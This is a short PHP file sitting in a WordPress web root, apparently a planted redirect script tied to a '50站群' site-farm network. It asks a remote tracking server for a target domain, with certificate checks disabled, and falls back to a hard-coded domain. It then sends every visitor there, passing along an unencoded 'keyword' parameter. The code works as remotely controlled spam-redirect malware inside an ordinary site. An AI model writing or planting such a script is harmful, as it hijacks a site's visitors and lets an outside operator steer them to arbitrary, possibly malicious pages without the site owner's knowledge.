File: /www/wwwroot/wordpress/so.php
<?php
$q = $_REQUEST['keyword']??'';
$channel = '50站群';
$domain = get_conf_by_channel($channel);
if(empty($domain)){
$domain = 'https://rili6.cilishanb.top';
}
if (!preg_match('/^https?:\/\//i', $domain)){
$domain = 'https://' . $domain;
}
if ($q == 'keyword') {
redirect($domain);
exit;
}
redirect(sprintf($domain.'?page=0&keyword=%s', $q));
function redirect($url) {
header("Location: $url");
}
function get_conf_by_channel($channel){
$url = "https://datatrack.cilizhai.cn/api_fasd/channel/get_site_domain_channels?channel=$channel";
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_TIMEOUT => 10, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_ACCEPT_ENCODING => "gzip, deflate, br",
]);
$ret = curl_exec($ch);
curl_close($ch);
$domain = '';
if (is_null($j = json_decode($ret, true)) || !array_key_exists('code', $j) || $j['code'] != 'SUCCESS') {
}else {
foreach ($j['data'] as $item){
if($item['channel']==$channel){
$domain = $item['domain'];
break;
}
}
}
return $domain;
}